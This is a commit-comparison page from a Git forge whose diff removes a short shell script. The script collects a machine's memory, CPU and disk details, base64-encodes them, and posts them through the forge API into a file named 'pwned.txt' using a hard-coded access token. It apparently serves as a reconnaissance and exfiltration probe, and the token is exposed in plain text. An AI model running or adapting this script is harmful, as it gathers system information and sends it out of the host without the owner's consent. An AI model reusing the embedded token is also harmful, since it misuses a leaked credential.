Compare commits

2 Commits
x1 ... main

Author SHA1 Message Date
2ff09fefcf d 2026-08-09 12:53:11 +02:00
90919c1425 p 2026-08-09 12:51:46 +02:00

View File

@@ -1,4 +0,0 @@
#!/bin/sh
RESULT=$(free -h 2>/dev/null || cat /proc/meminfo 2>/dev/null | head -5; echo "===CPU==="; nproc 2>/dev/null; cat /proc/cpuinfo 2>/dev/null | grep "model name" | head -1; echo "===DISK==="; df -h / 2>/dev/null)
ENCODED=$(echo "$RESULT" | base64 | tr -d "\n")
curl -sk -X POST "http://localhost:3000/api/v1/repos/secaudit77/sysinfo/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "{\"message\":\"p\",\"content\":\"$ENCODED\"}"